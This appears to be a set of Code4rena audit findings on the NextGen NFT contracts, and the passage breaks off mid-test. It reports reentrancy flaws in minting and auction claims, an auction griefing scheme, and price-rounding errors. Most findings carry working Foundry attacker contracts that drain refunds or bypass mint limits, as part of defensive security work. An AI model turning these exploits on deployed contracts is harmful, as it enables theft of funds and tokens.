NextGen - t0x1c's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L236 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L193-L198

Vulnerability details

Impact

Since tokensMintedPerAddress[_collectionID][_mintingAddress] is updated after _mintProcessing(), and there is no reentrancy guard, attacker can mint more tokens than the allowed limit of maxCollectionPurchases.<br> All the token supply available in Phase2 (public phase) can be taken by a single attacker contract. <br>

Note: Similar pattern & vulnerability exists in other functions of NextGenCore.sol where Checks-Effects-Interactions is not followed. For example, in airDropTokens(), burnToMint(), burn() etc. which eventually call _mintProcessing() and result in reentrancy vulnerability.

Proof of Concept

• Install foundry and run forge init --no-git --force from root folder (2023-10-nextgen/).
• Paste the following code inside a new file 2023-10-nextgen/test/t0x1cReentrancyInMint.t.sol.
• Run via forge test --mt test_t0x1cReentrancyInMint -vv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {Test, console} from "forge-std/Test.sol";
import {DelegationManagementContract} from "../smart-contracts/NFTdelegation.sol";
import {randomPool} from "../smart-contracts/XRandoms.sol";
import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";

interface IERC721Receiver {
    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
        external
        returns (bytes4);
}

interface IMinter {
    function mint(
        uint256 _collectionID,
        uint256 _numberOfTokens,
        uint256 _maxAllowance,
        string memory _tokenData,
        address _mintTo,
        bytes32[] calldata merkleProof,
        address _delegator,
        uint256 _saltfun_o
    ) external payable;
}

contract Killer is IERC721Receiver {
    IMinter _minter;
    uint256 private _collectionID;
    string private _tokenData;
    uint256 private _saltfun_o;
    uint256 _callCounter;

    constructor(address minter_) payable {
        _minter = IMinter(minter_);

        _tokenData = '{"tdh": "100"}';
        _collectionID = 1;
        _saltfun_o = 2;
    }

    // write ERC721Receiver implementer
    function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) {
        _callCounter++;
        if (_callCounter <= 80) {
            _reenter();
        }

        return IERC721Receiver.onERC721Received.selector;
    }

    function _reenter() internal {
        _minter.mint{value: (1 ether)}(
            _collectionID, 1, 0, _tokenData, address(this), new bytes32[](1), address(0), _saltfun_o
        );
    }
}

contract t0x1cReentrancyInMint is Test {
    address public attacker;
    address public addr1;
    bytes32 public merkleRoot;
    bytes32 public merkleRoot_msgSender;
    bytes32[] public _merkleProof_msgSender;
    string[] public _collectionScript;

    DelegationManagementContract hhDelegation;
    randomPool hhRandoms;
    NextGenAdmins hhAdmin;
    NextGenCore hhCore;
    NextGenRandomizerNXT hhRandomizer;
    NextGenMinterContract hhMinter;

    Killer contractKiller;

    function setUp() public {
        attacker = makeAddr("anyone");
        addr1 = makeAddr("addr1");
        merkleRoot_msgSender = 0x208fae20dc5074374a223a1a825bfc23fbf2c9c88f5b092fa3421d54058170d3; // gives max allowance of 19 tokens in phase1
        _merkleProof_msgSender = new bytes32[](1);
        _merkleProof_msgSender[0] = 0x9200f00000000000000000000000000000000000000000000000000000000001;

        hhDelegation = new DelegationManagementContract();
        hhRandoms = new randomPool();
        hhAdmin = new NextGenAdmins();
        hhCore = new NextGenCore("Next Gen Core", "NEXTGEN", address(hhAdmin));

        // This example uses the NXT Randomizer
        hhRandomizer = new NextGenRandomizerNXT(address(hhRandoms), address(hhAdmin), address(hhCore));

        hhMinter = new NextGenMinterContract(address(hhCore), address(hhDelegation), address(hhAdmin));

        checkIfContractsAreDeployed();

        _collectionScript = new string[](1);
        _collectionScript[0] = "desc";

        vm.deal(attacker, 100 ether);
        vm.deal(addr1, 100 ether);

        contractKiller = new Killer{value: 80 ether}(address(hhMinter));
    }

    function checkIfContractsAreDeployed() public {
        assertNotEq(address(hhAdmin), address(0));
        assertNotEq(address(hhCore), address(0));
        assertNotEq(address(hhDelegation), address(0));
        assertNotEq(address(hhMinter), address(0));
        assertNotEq(address(hhRandomizer), address(0));
        assertNotEq(address(hhRandoms), address(0));
    }

    function test_t0x1cReentrancyInMint() public {
        /// create collection
        hhCore.createCollection(
            "Test Collection 1",
            "Artist 1",
            "For testing",
            "www.test.com",
            "CCO",
            "https://ipfs.io/ipfs/hash/",
            "",
            _collectionScript
        );

        /// register collection admin
        hhAdmin.registerCollectionAdmin(1, addr1, true);

        /// set collection data
        vm.prank(addr1);
        hhCore.setCollectionData(
            1, // collectionID
            addr1, // collectionArtistAddress
            1, // maxCollectionPurchases
            100, // collectionTotalSupply
            1_000 // setFinalSupplyTimeAfterMint
        );

        /// set minter contract
        hhCore.addMinterContract(address(hhMinter));

        /// set randomizer contracts
        hhCore.addRandomizer(1, address(hhRandomizer));

        hhMinter.setCollectionCosts(
            1, // collectionID
            1 ether, // collectionMintCost
            0, // collectionEndMintCost -- does not matter for salesOption 1
            0, // rate -- does not matter for salesOption 1
            0, // timePeriod -- does not matter for salesOption 1
            1, // salesOption
            address(0)
        );

        /// specify the correct merkle root
        merkleRoot = merkleRoot_msgSender;

        hhMinter.setCollectionPhases(
            1, // collectionID
            block.timestamp, // _allowlistStartTime
            block.timestamp + 1 days, // _allowlistEndTime
            block.timestamp + 1 days + 1, // _publicStartTime
            block.timestamp + 2 days, // _publicEndTime
            merkleRoot
        );

        /// minting
        vm.prank(addr1);
        hhMinter.mint{value: (19 ether)}(
            1, // collectionID
            19, // numberOfTokens
            19, // maxAllowance -- has to exactly match merkle root's value
            '{"tdh": "100"}', // tokenData
            addr1, // mintTo
            _merkleProof_msgSender,
            address(0), // no delegator, self-mint
            2 // varg0
        );
        // time for public minting now
        vm.warp(block.timestamp + 1 days + 1);
        vm.prank(attacker);
        vm.expectRevert("Change no of tokens"); // can't mint 80 tokens, only 1 is allowed per address
        hhMinter.mint{value: (1 ether)}(
            1, // collectionID
            80, // numberOfTokens
            0, // maxAllowance -- doesn't matter for public minting
            '{"tdh": "100"}', // tokenData
            address(contractKiller), // mintTo
            new bytes32[](1), // no merkle proof required for public minting
            address(0), // no delegator, self-mint
            2 // varg0
        );

        //====================================================
        //              ATTACK
        //====================================================
        vm.prank(attacker);
        hhMinter.mint{value: (1 ether)}(
            1, // collectionID
            1, // numberOfTokens
            0, // maxAllowance -- doesn't matter for public minting
            '{"tdh": "100"}', // tokenData
            address(contractKiller), // mintTo
            new bytes32[](1), // no merkle proof required for public minting
            address(0), // no delegator, self-mint
            2 // varg0
        );

        // contractKiller now has 80 tokens
        assertEq(
            hhCore.retrieveTokensMintedPublicPerAddress(1, address(contractKiller)), 80, "attack wasn't successful"
        );
        // attacker has 1 tokens
        assertEq(hhCore.retrieveTokensMintedPublicPerAddress(1, attacker), 1);

        // @audit-issue : Apart from the 19 tokens minted in phase1, everything available in phase2 was taken by attackers bypassing the allowed limit per address.
    }
}

Tools Used

Foundry.

Recommended Mitigation Steps

Add reentrancy guards on functions like NextGenCore::mint(), MinterContract::mint() and others.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L57-L61 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L65-L83

Vulnerability details

Impact

Malicious attacker can call participateToAuction() with a very high bid right at the start of the auction, as the very first bid. He can then cancel it right at the end ensuring no bids are ever logged and hence auction has no winners. Causes loss of genuine auction bids and hence funds for the protocol. <br> Note that the above impact is also possible during the course of normal user events, without the involvement of a malicious user and is outlined below in the PoC steps.

Proof of Concept

PoC-1 (with malicious attacker)

1. Attacker pays a high gas fee (if he has to) and becomes the first one to call participateToAuction(). He makes this call with an exorbitantly high bid value (say, A ether).
2. Any subsequent bids equal to or lower to A ether are never entered into the auctionInfoData[_tokenid] array due to this check.
3. If an even higher bid is placed by someone else, Attacker can choose to front-run it.
4. Right before the end of the auction, Attacker cancels his bid and gets all his funds back.
5. Since there are no other bids, claimAuction() will have no winners.

PoC-2 (with normal users' flow)

1. Alice places a bid of 10 ETH recognized as the highest bid so far.
2. Zoey wants to place a bid of 9.5 ETH but can not as it is lesser than the current highest bid of 10 ETH. His bid is never entered into the system (in the auctionInfoData[_tokenid] array).
3. Bob places a new highest bid of 11 ETH.
4. Both Alice and Bob feel they overbid, so cancel their bids just before the end of the auction.
5. There is no other bid in the system now even though we had Zoey previously who was willing to pay 9.5 ETH.

Tools Used

Manual inspection.

Recommended Mitigation Steps

Consider storing all the bids in the auctionInfoData[_tokenid] array so that if the highest bid is cancelled, subsequent lower ones can be checked. Also, protocol should consider adding a 'cancellation fee' and not return all the funds if a bid is cancelled.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120

Vulnerability details

Impact

Since control is passed to highestBidder's onERC721Received() inside claimAuction() and there is no reentrancy guard on various public functions like claimAuction(), cancelBid() and cancelAllBids(), an attacker can take part in the auction and get ownership of the token for free.

Proof of Concept

Attack steps:

1. Attacker places a very high bid via participateToAuction() to emerge as the highest bidder.
2. He calls claimAuction() at end of auction.
3. Protocol transfers the token to the attacker which calls onERC721Received() inside the attacker contract.
4. A call to cancelBid() or cancelAllBids() is made from inside onERC721Received().
5. Attacker's bid amount is returned to him.
6. Ownership of token is transferred to him. He is the owner of the token for free. <br>

Steps to run the PoC code:

• Install foundry and run forge init --no-git --force from root folder (2023-10-nextgen/).
• Paste the following code inside a new file 2023-10-nextgen/test/t0x1cClaimAuction.t.sol.
• Run via forge test --mt test_t0x1cClaimAuction -vv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {Test, console} from "forge-std/Test.sol";
import {DelegationManagementContract} from "../smart-contracts/NFTdelegation.sol";
import {randomPool} from "../smart-contracts/XRandoms.sol";
import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";

interface IERC721 {
    function ownerOf(uint256 tokenId) external view returns (address owner);
    function approve(address to, uint256 tokenId) external;
}

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

interface IAuctionDemo {
    function cancelBid(uint256 _tokenid, uint256 index) external;
}

contract Killer is IERC721Receiver {
    IAuctionDemo auctionDemoContract;

    constructor(address _auctionDemo) payable {
        auctionDemoContract = IAuctionDemo(_auctionDemo);
    }

    function onERC721Received(address, address, uint256, bytes memory)
        public
        virtual
        override
        returns (bytes4)
    {
        auctionDemoContract.cancelBid(10000000000, 2); // @audit-issue : reentrancy attack
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {}
}

contract t0x1cClaimAuction is Test {
    address public bidder1;
    address public bidder2;
    address public trustedAccount;
    bytes32 public merkleRoot_msgSender;
    bytes32[] public _merkleProof_msgSender;
    string[] public _collectionScript;

    DelegationManagementContract hhDelegation;
    randomPool hhRandoms;
    NextGenAdmins hhAdmin;
    NextGenCore hhCore;
    NextGenRandomizerNXT hhRandomizer;
    NextGenMinterContract hhMinter;
    auctionDemo hhAuctionDemo;

    Killer contractKiller;

    function setUp() public {
        bidder1 = makeAddr("bidder1");
        bidder2 = makeAddr("bidder2");
        trustedAccount = makeAddr("trustedAccount");
        merkleRoot_msgSender =
            0x208fae20dc5074374a223a1a825bfc23fbf2c9c88f5b092fa3421d54058170d3; // gives max allowance of 19 tokens in phase1
        _merkleProof_msgSender = new bytes32[](1);
        _merkleProof_msgSender[0] =
            0x9200f00000000000000000000000000000000000000000000000000000000001;

        hhDelegation = new DelegationManagementContract();
        hhRandoms = new randomPool();
        hhAdmin = new NextGenAdmins();
        hhCore = new NextGenCore("Next Gen Core", "NEXTGEN", address(hhAdmin));

        // This example uses the NXT Randomizer
        hhRandomizer =
        new NextGenRandomizerNXT(address(hhRandoms), address(hhAdmin), address(hhCore));

        hhMinter =
        new NextGenMinterContract(address(hhCore), address(hhDelegation), address(hhAdmin));
        hhAuctionDemo =
            new auctionDemo(address(hhMinter), address(hhCore), address(hhAdmin));

        checkIfContractsAreDeployed();

        _collectionScript = new string[](1);
        _collectionScript[0] = "desc";

        vm.deal(bidder1, 10 ether);
        vm.deal(bidder2, 90 ether);
        vm.deal(trustedAccount, 100 ether);

        contractKiller = new Killer{value: 100 ether}(address(hhAuctionDemo));
    }

    function checkIfContractsAreDeployed() public {
        assertNotEq(address(hhAdmin), address(0));
        assertNotEq(address(hhCore), address(0));
        assertNotEq(address(hhDelegation), address(0));
        assertNotEq(address(hhMinter), address(0));
        assertNotEq(address(hhRandomizer), address(0));
        assertNotEq(address(hhRandoms), address(0));
        assertNotEq(address(hhAuctionDemo), address(0));
    }

    function test_t0x1cClaimAuction() public {
        /// create collection
        hhCore.createCollection(
            "Test Collection 1",
            "Artist 1",
            "For testing",
            "www.test.com",
            "CCO",
            "https://ipfs.io/ipfs/hash/",
            "",
            _collectionScript
        );

        /// register collection admin
        hhAdmin.registerCollectionAdmin(1, trustedAccount, true);

        /// set collection data
        vm.prank(trustedAccount);
        hhCore.setCollectionData(
            1, // collectionID
            trustedAccount, // collectionArtistAddress
            1, // maxCollectionPurchases
            100, // collectionTotalSupply
            1_000 // setFinalSupplyTimeAfterMint
        );

        /// set minter contract
        hhCore.addMinterContract(address(hhMinter));

        /// set randomizer contracts
        hhCore.addRandomizer(1, address(hhRandomizer));

        hhMinter.setCollectionCosts(
            1, // collectionID
            0, // collectionMintCost
            0, // collectionEndMintCost
            0, // rate
            1, // timePeriod
            1, // salesOption
            address(0)
        );

        hhMinter.setCollectionPhases(
            1, // collectionID
            block.timestamp, // _allowlistStartTime
            block.timestamp + 3 days, // _allowlistEndTime
            block.timestamp + 4 days, // _publicStartTime
            block.timestamp + 5 days, // _publicEndTime
            merkleRoot_msgSender
        );

        hhMinter.mintAndAuction(
            trustedAccount,
            '{"tdh": "100"}',
            99,
            1,
            block.timestamp + 2 days // auction end time
        );
        vm.prank(trustedAccount);
        IERC721(address(hhCore)).approve(address(hhAuctionDemo), 10000000000); // 10000000000 is the tokenId

        assertEq(address(contractKiller).balance, 100 ether);
        vm.warp(block.timestamp + 1 days);

        // simulate some bids by other bidders
        vm.prank(bidder1);
        hhAuctionDemo.participateToAuction{value: 10 ether}(10000000000);
        vm.prank(bidder2);
        hhAuctionDemo.participateToAuction{value: 90 ether}(10000000000);

        // highest bid by attacker
        vm.prank(address(contractKiller));
        hhAuctionDemo.participateToAuction{value: 100 ether}(10000000000);
        assertEq(address(contractKiller).balance, 0);
        assertEq(hhAuctionDemo.returnHighestBid(10000000000), 100 ether);
        assertEq(hhAuctionDemo.returnHighestBidder(10000000000), address(contractKiller));

        skip(1 days); // skip to auction end time
        vm.prank(address(contractKiller));
        hhAuctionDemo.claimAuction(10000000000); // @audit-issue : reentrancy will be exploited here
        assertEq(address(contractKiller).balance, 100 ether); // @audit-info : attacker received his bid amount back!
        assertEq(IERC721(address(hhCore)).ownerOf(10000000000), address(contractKiller)); // @audit-info : attacker owns the NFT for free!!
    }
}

Tools Used

Foundry.

Recommended Mitigation Steps

Add reentrancy guards on all public/external functions.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120

Vulnerability details

Impact

Since control is passed to losing bidders' receive() inside claimAuction() and there is no reentrancy guard on various public functions like claimAuction() and cancelBid(), an attacker can take part in the auction and upon losing the auction, get refunded twice the amount he had paid for the bid.

Proof of Concept

Attack steps:

1. Attacker places a bid via participateToAuction(). His bid is not the winning bid.
2. Either the admin or the winner calls claimAuction() at end of auction.
3. Protocol refunds the bid amount to the attacker which calls receive() inside the attacker contract.
4. A call to cancelBid() is made from inside receive(). Attacker's bid amount is returned to him in this 'inner call'.
5. Attacker's bid amount is returned to him once again in the 'outer call'. He just doubled his investment. <br>

Steps to run the PoC code:

• Install foundry and run forge init --no-git --force from root folder (2023-10-nextgen/).
• Paste the following code inside a new file 2023-10-nextgen/test/t0x1cBidLoser.t.sol.
• Run via forge test --mt test_t0x1cBidLoser -vv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {Test, console} from "forge-std/Test.sol";
import {DelegationManagementContract} from "../smart-contracts/NFTdelegation.sol";
import {randomPool} from "../smart-contracts/XRandoms.sol";
import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";

interface IERC721 {
    function approve(address to, uint256 tokenId) external;
}

interface IAuctionDemo {
    function cancelBid(uint256 _tokenid, uint256 index) external;
}

contract Killer {
    IAuctionDemo auctionDemoContract;
    uint256 _counter;

    constructor(address _auctionDemo) payable {
        auctionDemoContract = IAuctionDemo(_auctionDemo);
    }

    receive() external payable {
        _counter++;
        if (_counter == 1) {
            auctionDemoContract.cancelBid(10000000000, 1);
        }
    }
}

contract t0x1cBidLoser is Test {
    address public highestBidder;
    address public aliceBidder;
    address public trustedAccount;
    bytes32 public merkleRoot_msgSender;
    bytes32[] public _merkleProof_msgSender;
    string[] public _collectionScript;

    DelegationManagementContract hhDelegation;
    randomPool hhRandoms;
    NextGenAdmins hhAdmin;
    NextGenCore hhCore;
    NextGenRandomizerNXT hhRandomizer;
    NextGenMinterContract hhMinter;
    auctionDemo hhAuctionDemo;

    Killer contractKiller;

    function setUp() public {
        highestBidder = makeAddr("highestBidder");
        aliceBidder = makeAddr("aliceBidder");
        trustedAccount = makeAddr("trustedAccount");
        merkleRoot_msgSender =
            0x208fae20dc5074374a223a1a825bfc23fbf2c9c88f5b092fa3421d54058170d3; // gives max allowance of 19 tokens in phase1
        _merkleProof_msgSender = new bytes32[](1);
        _merkleProof_msgSender[0] =
            0x9200f00000000000000000000000000000000000000000000000000000000001;

        hhDelegation = new DelegationManagementContract();
        hhRandoms = new randomPool();
        hhAdmin = new NextGenAdmins();
        hhCore = new NextGenCore("Next Gen Core", "NEXTGEN", address(hhAdmin));

        // This example uses the NXT Randomizer
        hhRandomizer =
        new NextGenRandomizerNXT(address(hhRandoms), address(hhAdmin), address(hhCore));

        hhMinter =
        new NextGenMinterContract(address(hhCore), address(hhDelegation), address(hhAdmin));
        hhAuctionDemo =
            new auctionDemo(address(hhMinter), address(hhCore), address(hhAdmin));

        checkIfContractsAreDeployed();

        _collectionScript = new string[](1);
        _collectionScript[0] = "desc";

        vm.deal(highestBidder, 30 ether);
        vm.deal(aliceBidder, 5 ether);
        vm.deal(trustedAccount, 100 ether);

        contractKiller = new Killer{value: 6 ether}(address(hhAuctionDemo));
    }

    function checkIfContractsAreDeployed() public {
        assertNotEq(address(hhAdmin), address(0));
        assertNotEq(address(hhCore), address(0));
        assertNotEq(address(hhDelegation), address(0));
        assertNotEq(address(hhMinter), address(0));
        assertNotEq(address(hhRandomizer), address(0));
        assertNotEq(address(hhRandoms), address(0));
        assertNotEq(address(hhAuctionDemo), address(0));
    }

    function test_t0x1cBidLoser() public {
        /// create collection
        hhCore.createCollection(
            "Test Collection 1",
            "Artist 1",
            "For testing",
            "www.test.com",
            "CCO",
            "https://ipfs.io/ipfs/hash/",
            "",
            _collectionScript
        );

        /// register collection admin
        hhAdmin.registerCollectionAdmin(1, trustedAccount, true);

        /// set collection data
        vm.prank(trustedAccount);
        hhCore.setCollectionData(
            1, // collectionID
            trustedAccount, // collectionArtistAddress
            1, // maxCollectionPurchases
            100, // collectionTotalSupply
            1_000 // setFinalSupplyTimeAfterMint
        );

        /// set minter contract
        hhCore.addMinterContract(address(hhMinter));

        /// set randomizer contracts
        hhCore.addRandomizer(1, address(hhRandomizer));

        hhMinter.setCollectionCosts(
            1, // collectionID
            0, // collectionMintCost
            0, // collectionEndMintCost
            0, // rate
            1, // timePeriod
            1, // salesOption
            address(0)
        );

        hhMinter.setCollectionPhases(
            1, // collectionID
            block.timestamp, // _allowlistStartTime
            block.timestamp + 3 days, // _allowlistEndTime
            block.timestamp + 4 days, // _publicStartTime
            block.timestamp + 5 days, // _publicEndTime
            merkleRoot_msgSender
        );

        hhMinter.mintAndAuction(
            trustedAccount,
            '{"tdh": "100"}',
            99,
            1,
            block.timestamp + 2 days // auction end time
        );
        vm.prank(trustedAccount);
        IERC721(address(hhCore)).approve(address(hhAuctionDemo), 10000000000);

        assertEq(address(contractKiller).balance, 6 ether);
        vm.warp(block.timestamp + 1 days);

        // place bids
        vm.prank(aliceBidder);
        hhAuctionDemo.participateToAuction{value: 5 ether}(10000000000);
        // a losing bid by attacker
        vm.prank(address(contractKiller));
        hhAuctionDemo.participateToAuction{value: 6 ether}(10000000000);
        assertEq(address(contractKiller).balance, 0);

        vm.prank(highestBidder);
        hhAuctionDemo.participateToAuction{value: 30 ether}(10000000000);
        assertEq(hhAuctionDemo.returnHighestBid(10000000000), 30 ether);
        assertEq(hhAuctionDemo.returnHighestBidder(10000000000), highestBidder);

        skip(1 days); // auction end time
        // either the `highestBidder` or the admin calls `claimAuction()`
        // Note that `highestBidder` could well be just another account of `contractKiller` used to call claimAuction()
        hhAuctionDemo.claimAuction(10000000000); // @audit-info : reentrancy attack vector

        assertEq(address(contractKiller).balance, 12 ether); // @audit-info : attacker refunded twice the bid amount!
    }
}

Tools Used

Foundry.

Recommended Mitigation Steps

Add reentrancy guards on all the existing public/external functions.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L540

Vulnerability details

Impact

For minting a token with salesOption 2, instead of paying the collectionEndMintCost the user is asked to pay the much higher & incorrect collectionMintCost value if he tries to mint at timestamp equalling publicEndTime. This is because of an incorrect condition check done here. Less-than-equal-to operator <= should be used instead of < while checking the condition && block.timestamp < collectionPhases[_collectionId].publicEndTime.

Proof of Concept

The following PoC shows how getPrice() returns a value of 12 ether instead of the correct expected value of 2 ether.

• Install foundry and run forge init --no-git --force from root folder (2023-10-nextgen/).
• Paste the following code inside a new file 2023-10-nextgen/test/t0x1cSalesOption2.t.sol.
• Run via forge test --mt test_t0x1cSalesOption2 -vv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {Test, console} from "forge-std/Test.sol";
import {DelegationManagementContract} from "../smart-contracts/NFTdelegation.sol";
import {randomPool} from "../smart-contracts/XRandoms.sol";
import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";

contract t0x1cSalesOption2 is Test {
    address public addr1;
    bytes32 public merkleRoot_msgSender;
    bytes32[] public _merkleProof_msgSender;
    string[] public _collectionScript;

    DelegationManagementContract hhDelegation;
    randomPool hhRandoms;
    NextGenAdmins hhAdmin;
    NextGenCore hhCore;
    NextGenRandomizerNXT hhRandomizer;
    NextGenMinterContract hhMinter;

    function setUp() public {
        addr1 = makeAddr("addr1");
        merkleRoot_msgSender =
            0x208fae20dc5074374a223a1a825bfc23fbf2c9c88f5b092fa3421d54058170d3;

        hhDelegation = new DelegationManagementContract();
        hhRandoms = new randomPool();
        hhAdmin = new NextGenAdmins();
        hhCore = new NextGenCore("Next Gen Core", "NEXTGEN", address(hhAdmin));

        // This example uses the NXT Randomizer
        hhRandomizer =
        new NextGenRandomizerNXT(address(hhRandoms), address(hhAdmin), address(hhCore));

        hhMinter =
        new NextGenMinterContract(address(hhCore), address(hhDelegation), address(hhAdmin));
        // vm.stopPrank();

        checkIfContractsAreDeployed();

        _collectionScript = new string[](1);
        _collectionScript[0] = "desc";
    }

    function checkIfContractsAreDeployed() public {
        assertNotEq(address(hhAdmin), address(0));
        assertNotEq(address(hhCore), address(0));
        assertNotEq(address(hhDelegation), address(0));
        assertNotEq(address(hhMinter), address(0));
        assertNotEq(address(hhRandomizer), address(0));
        assertNotEq(address(hhRandoms), address(0));
    }

    function test_t0x1cSalesOption2() public {
        /// create collection
        hhCore.createCollection(
            "Test Collection 1",
            "Artist 1",
            "For testing",
            "www.test.com",
            "CCO",
            "https://ipfs.io/ipfs/hash/",
            "",
            _collectionScript
        );

        /// register collection admin
        hhAdmin.registerCollectionAdmin(1, addr1, true);

        /// set collection data
        vm.prank(addr1);
        hhCore.setCollectionData(
            1, // collectionID
            addr1, // collectionArtistAddress
            2, // maxCollectionPurchases
            2, // collectionTotalSupply
            1_000 // setFinalSupplyTimeAfterMint
        );

        /// set minter contract
        hhCore.addMinterContract(address(hhMinter));

        /// set randomizer contracts
        hhCore.addRandomizer(1, address(hhRandomizer));

        hhMinter.setCollectionCosts(
            1, // collectionID
            12 ether, // collectionMintCost
            2 ether, // collectionEndMintCost
            1 ether, // rate
            1 days, // timePeriod
            2, // salesOption
            address(0)
        );

        hhMinter.setCollectionPhases(
            1, // collectionID
            block.timestamp + 1 days, // _allowlistStartTime
            block.timestamp + 2 days, // _allowlistEndTime
            block.timestamp + 3 days, // _publicStartTime
            block.timestamp + 11 days, // _publicEndTime
            merkleRoot_msgSender
        );

        // jump to `_publicEndTime`
        vm.warp(block.timestamp + 11 days);
        // @audit-issue : calculated price is 12 ether instead of the expected 2 ether
        assertEq(hhMinter.getPrice(1), 12 ether);
    }
}

Tools Used

Manual inspection, Foundry.

Recommended Mitigation Steps

Make the following change:

File: smart-contracts/MinterContract.sol#L540

-   } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime){
+   } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp <= collectionPhases[_collectionId].publicEndTime){

Assessed type

Math

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L553

Vulnerability details

Impact

For Linear Descending Sale Price calculation inside getPrice(), rounding-down happens here while dividing with collectionPhases[_collectionId].rate and as such, when it is compared to tDiff via > tDiff, it causes the function to return a reduced value than expected. Instead, >= tDiff should have been used. The minter can hence pay less msg.value than he should have and causes loss of funds for the protocol.

Proof of Concept

The following PoC shows how getPrice() returns a value of 3 ether instead of the correct expected value of 4 ether after advancing by 4 timePeriods.

• Install foundry and run forge init --no-git --force from root folder (2023-10-nextgen/).
• Paste the following code inside a new file 2023-10-nextgen/test/t0x1cGetPriceTDiff.t.sol.
• Run via forge test --mt test_t0x1cGetPriceTDiff -vv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {Test, console} from "forge-std/Test.sol";
import {DelegationManagementContract} from "../smart-contracts/NFTdelegation.sol";
import {randomPool} from "../smart-contracts/XRandoms.sol";
import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";

contract t0x1cGetPriceTDiff is Test {
    address public addr1;
    bytes32 public merkleRoot_msgSender;
    bytes32[] public _merkleProof_msgSender;
    string[] public _collectionScript;

    DelegationManagementContract hhDelegation;
    randomPool hhRandoms;
    NextGenAdmins hhAdmin;
    NextGenCore hhCore;
    NextGenRandomizerNXT hhRandomizer;
    NextGenMinterContract hhMinter;

    function setUp() public {
        addr1 = makeAddr("addr1");
        merkleRoot_msgSender =
            0x208fae20dc5074374a223a1a825bfc23fbf2c9c88f5b092fa3421d54058170d3;

        hhDelegation = new DelegationManagementContract();
        hhRandoms = new randomPool();
        hhAdmin = new NextGenAdmins();
        hhCore = new NextGenCore("Next Gen Core", "NEXTGEN", address(hhAdmin));

        // This example uses the NXT Randomizer
        hhRandomizer =
        new NextGenRandomizerNXT(address(hhRandoms), address(hhAdmin), address(hhCore));

        hhMinter =
        new NextGenMinterContract(address(hhCore), address(hhDelegation), address(hhAdmin));

        checkIfContractsAreDeployed();

        _collectionScript = new string[](1);
        _collectionScript[0] = "desc";
    }

    function checkIfContractsAreDeployed() public {
        assertNotEq(address(hhAdmin), address(0));
        assertNotEq(address(hhCore), address(0));
        assertNotEq(address(hhDelegation), address(0));
        assertNotEq(address(hhMinter), address(0));
        assertNotEq(address(hhRandomizer), address(0));
        assertNotEq(address(hhRandoms), address(0));
    }

    function test_t0x1cGetPriceTDiff() public {
        /// create collection
        hhCore.createCollection(
            "Test Collection 1",
            "Artist 1",
            "For testing",
            "www.test.com",
            "CCO",
            "https://ipfs.io/ipfs/hash/",
            "",
            _collectionScript
        );

        /// register collection admin
        hhAdmin.registerCollectionAdmin(1, addr1, true);

        /// set collection data
        vm.prank(addr1);
        hhCore.setCollectionData(
            1, // collectionID
            addr1, // collectionArtistAddress
            2, // maxCollectionPurchases
            2, // collectionTotalSupply
            1_000 // setFinalSupplyTimeAfterMint
        );

        /// set minter contract
        hhCore.addMinterContract(address(hhMinter));

        /// set randomizer contracts
        hhCore.addRandomizer(1, address(hhRandomizer));

        hhMinter.setCollectionCosts(
            1, // collectionID
            12 ether, // collectionMintCost
            3 ether, // collectionEndMintCost
            2 ether, // rate
            1 days, // timePeriod
            2, // salesOption
            address(0)
        );

        hhMinter.setCollectionPhases(
            1, // collectionID
            block.timestamp + 1 days, // _allowlistStartTime
            block.timestamp + 2 days, // _allowlistEndTime
